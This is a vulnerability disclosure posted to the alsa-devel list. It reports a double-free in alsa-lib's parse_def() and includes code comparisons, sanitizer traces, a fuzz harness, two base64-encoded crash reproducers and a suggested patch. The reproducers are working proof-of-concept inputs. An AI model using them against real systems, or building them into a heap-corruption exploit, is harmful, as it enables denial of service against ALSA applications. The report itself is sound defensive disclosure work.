Security: double-free / invalid pointer dereference in alsa-lib config parser (`parse_def`) via crafted configuration text

Luigino Camastra <[email protected]> Mon, 8 Jun 2026 12:05:56 +0200
Newsgroups org.alsa-project.alsa-devel
Message-ID <CAGt8pqBU0p2voB+qHxWGcNJrKHAcBhAyHUUBPLBN-Yj_SiV6MQ@mail.gmail.com>
Dear ALSA maintainers,

I am writing to report a memory-safety issue in **alsa-lib**'s
configuration parser (`src/conf.c`). The bug was found by fuzzing the
public API `snd_config_load_string()`, and is reachable from any
application that loads attacker-influenced ALSA configuration text or files
(`snd_config_load`, `snd_config_load_string`, `snd_config_update`,
`~/.asoundrc`, etc.).

## Summary

When parsing a nested compound (`{ … }`) or array (`[ … ]`), `parse_def()`
calls `parse_defs()` / `parse_array_defs()` but **does not check their
return value before continuing**. On a parse error from the nested call,
the inner level has already deleted (and unlinked) its node via
`snd_config_delete(n)`; `parse_def()` then falls through and calls
`snd_config_delete(n)` again on an already-freed / unlinked node during
error cleanup. This corrupts the configuration node list and leads to a
**double free / invalid pointer dereference**.

- **Component:** `src/conf.c` — `parse_def()` (alsa-lib)
- **Observed in:** `alsa-lib 1.2.15.3` source tree (project label
`alsa-lib-1_2_15_3-3_1_hum1`)
- **Type:** Double free / use of freed list node (CWE-415 / CWE-416);
manifests as NULL-pointer write (CWE-476) or invalid read
- **Severity (our assessment):** Medium–High — denial of service is
reliable; double-free of heap metadata may be exploitable for memory
corruption depending on allocator and surrounding state
- **Crash function:** crash occurs inside `snd_config_load_string()` itself
(during parse), not in caller cleanup

## Root cause

`parse_def()` is missing the error/EOF guards that the sibling function
`parse_array_def()` already has. Compare the two.

`parse_array_def()` (correct — bails out on error before the close-char
check):

```c
if (c == '{') {
err = parse_defs(n, input, skip, override);
endchr = '}';
} else {
err = parse_array_defs(n, input, skip, override);
endchr = ']';
}
if (err < 0)            /* <-- present here */
goto __end;
c = get_nonwhite(input);
if (c < 0) {            /* <-- present here */
err = c;
goto __end;
}
if (c != endchr) {
if (n)
snd_config_delete(n);
err = LOCAL_UNEXPECTED_CHAR;
goto __end;
}
```

`parse_def()` (buggy — no `err < 0` / `c < 0` guard, so it deletes `n`
after the nested call already failed/cleaned up):

```c
if (c == '{') {
err = parse_defs(n, input, skip, override);
endchr = '}';
} else {
err = parse_array_defs(n, input, skip, override);
endchr = ']';
}
c = get_nonwhite(input);     /* missing: if (err < 0) goto __end; */
if (c != endchr) {           /* missing: if (c < 0)  goto __end; */
if (n)
snd_config_delete(n);   /* double-delete on already-cleaned node */
err = LOCAL_UNEXPECTED_CHAR;
goto __end;
}
```

Because the negative `err` from the recursive call is ignored, when deeply
nested input forces an inner cleanup the outer frame re-enters
`snd_config_delete()` on a node whose sibling list / child links were
already torn down, executing `list_del()` on freed memory.

## Impact / crash signatures (single underlying issue)

Both signatures below trigger at the same line (`parse_def` →
`snd_config_delete(n)` in the error path); the exact field that faults
depends only on heap state and whether the nesting used `{}` or `[]`:

1. **NULL-pointer write** in `list_del()` (`include/list.h:107`,
`p->prev->next = p->next` with `p->prev == NULL`), via `snd_config_delete`
→ `conf.c:2420`, reached through nested `{ … }` compounds.

```
UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (WRITE)
    #0 list_del            include/list.h:107
    #1 snd_config_delete   src/conf.c:2420
    #2 parse_def           src/conf.c:1490
    #3 parse_defs          src/conf.c:1526
    ... (nested parse_def/parse_defs) ...
    #N snd_config_load_string src/conf.c:2103
```

2. **Invalid read** in `snd_config_delete()` (`conf.c:2393`, reading
`config->refcount` of a wild pointer obtained while iterating a corrupted
child list), reached through deeply nested `[ … ]` arrays.

```
UndefinedBehaviorSanitizer: SEGV on unknown address 0x000400000012 (READ)
    #0 snd_config_delete   src/conf.c:2393
    #1 parse_def           src/conf.c:1490
    #2 parse_defs          src/conf.c:1526
    #3 parse_array_def     src/conf.c:1320
    #4 parse_array_defs    src/conf.c:1364
    ... (nested array parsing) ...
    #N snd_config_load_string src/conf.c:2103
```

We treated these as **one vulnerability with two manifestations** (same
defective code, same trigger line, same fix).

## Reachability / attack surface

`snd_config_load_string()` / `snd_config_load()` parse arbitrary
configuration text. The parser is used pervasively in ALSA initialization
(`snd_config_update()` reads `/usr/share/alsa/alsa.conf`,
`/etc/asound.conf`, and `~/.asoundrc`). Any application or service that
loads ALSA configuration content that an attacker can influence
(user-supplied `.asoundrc`, configuration snippets passed to
`snd_config_load_string`, etc.) can be crashed, with potential for heap
corruption.

## Proof-of-concept

Fuzz harness (public API only):

```c
#include <alsa/conf.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
  char *buf = malloc(size + 1);
  if (!buf) return 0;
  memcpy(buf, data, size);
  buf[size] = '\0';
  snd_config_t *cfg = NULL;
  int err = snd_config_load_string(&cfg, buf, size);
  if (err == 0 && cfg) snd_config_delete(cfg);
  free(buf);
  return 0;
}
```

Build the alsa-lib tree with AddressSanitizer/UBSan and feed the
reproducers below. Materialize them with:

```python
import base64
# (1) compound {}-path -> NULL write in list_del
open("crash_compound", "wb").write(base64.b64decode(
"Y29uZmxldmVsNSB7CmxldmVsMeKE9ZNuZmxldmVsNSB7CmxldmVsMeKE9ZOaiQAA//////8nJycnJycn"
"JycnJycnJycnJycnJycnJycnJz8AAAAAADBsZXZlbDAgewpsZXZlbDEgewpsZXZlbDIgewpsZXYnJycn"
"OCAqYWUnJyeaiQAA//////8nJycnJycnJycnJycnJycnJycnJyemJycnJ2NvbmZsZXZlbDAgewohZXZl"
"bDEgewpsZXb//////zD//3ZlbDAgewohZXZlbDEgewpsZXb//////zD//3ZlbDMgez8AAAAAADBsZXZl"
"eyMKbGlnIHsKNDpibGVkIHRydQFvZWxlbDMgc2xhdmV7PwAAAAAAMGxldmV7IwpsaWcgewo0OmJsZWQg"
"dHJ1AW9lbDAgewoKIA=="))

# (2) array []-path -> invalid read in snd_config_delete
open("crash_array", "wb").write(base64.b64decode(
"IWRlbHBjbS5jYXJkIDAKP2RlZmF1bClzLmltdWxwY20uPC8+PC8+PC8+PC8+PC8+cmQgMAo/ZGVmYXVs"
"KXMuaW11bHBjcGFyZCAwCj9kZWZhdWwpcy5pbXVscGNtLjwvPjwvPjwvPjwvPjwvPnJkIDAKP2RlZnBj"
"bS5jYXJkIDAKP2RlZmF1bClzLmltdWxbW1tbW1tbW1tbW1tbW1tbW2xldmVsMCB7CmxlZXZsewpsZXZl"
"bDEwewpsZXZlbD0gewolLTFsZXZsND17CmxlewpsZXZlbCsyIHsKbGxldnZlbDIgewpsIApiICMnCmIK"
"YiAjYS4xIJ7QwcOk0MG6Pjw0Lwo8PiI8ImV6IB4jYiMnCmItMSAjICMnCmIKGiMnCmggCmJbW1tbWyA="))
```

Both inputs reproduce reliably (clang `-fsanitize=address,undefined`):

```
SUMMARY: UndefinedBehaviorSanitizer: SEGV include/list.h:107 in list_del
       (crash_compound)
SUMMARY: UndefinedBehaviorSanitizer: SEGV src/conf.c:2393 in
snd_config_delete     (crash_array)
```

(The reproducers are fuzzer-derived and not minimized; a minimized testcase
can be provided on request.)

## Suggested fix

Add the same guards `parse_array_def()` already uses, so `parse_def()`
stops on a failed nested parse instead of re-deleting the node:

```c
if (c == '{') {
err = parse_defs(n, input, skip, override);
endchr = '}';
} else {
err = parse_array_defs(n, input, skip, override);
endchr = ']';
}
if (err < 0)
goto __end;
c = get_nonwhite(input);
if (c < 0) {
err = c;
goto __end;
}
if (c != endchr) {
...
}
```

This makes node ownership/cleanup happen exactly once during error
unwinding and removes the double-delete.

We have not verified whether current upstream `alsa-lib` already contains
this guard in `parse_def()`; we would appreciate confirmation of the
affected versions.

Credit: Dmitrijs Trizna · Luigino Camastra · Guido Vranken · Ze Sheng
Best regards,
Luigino Camastra Aisle Research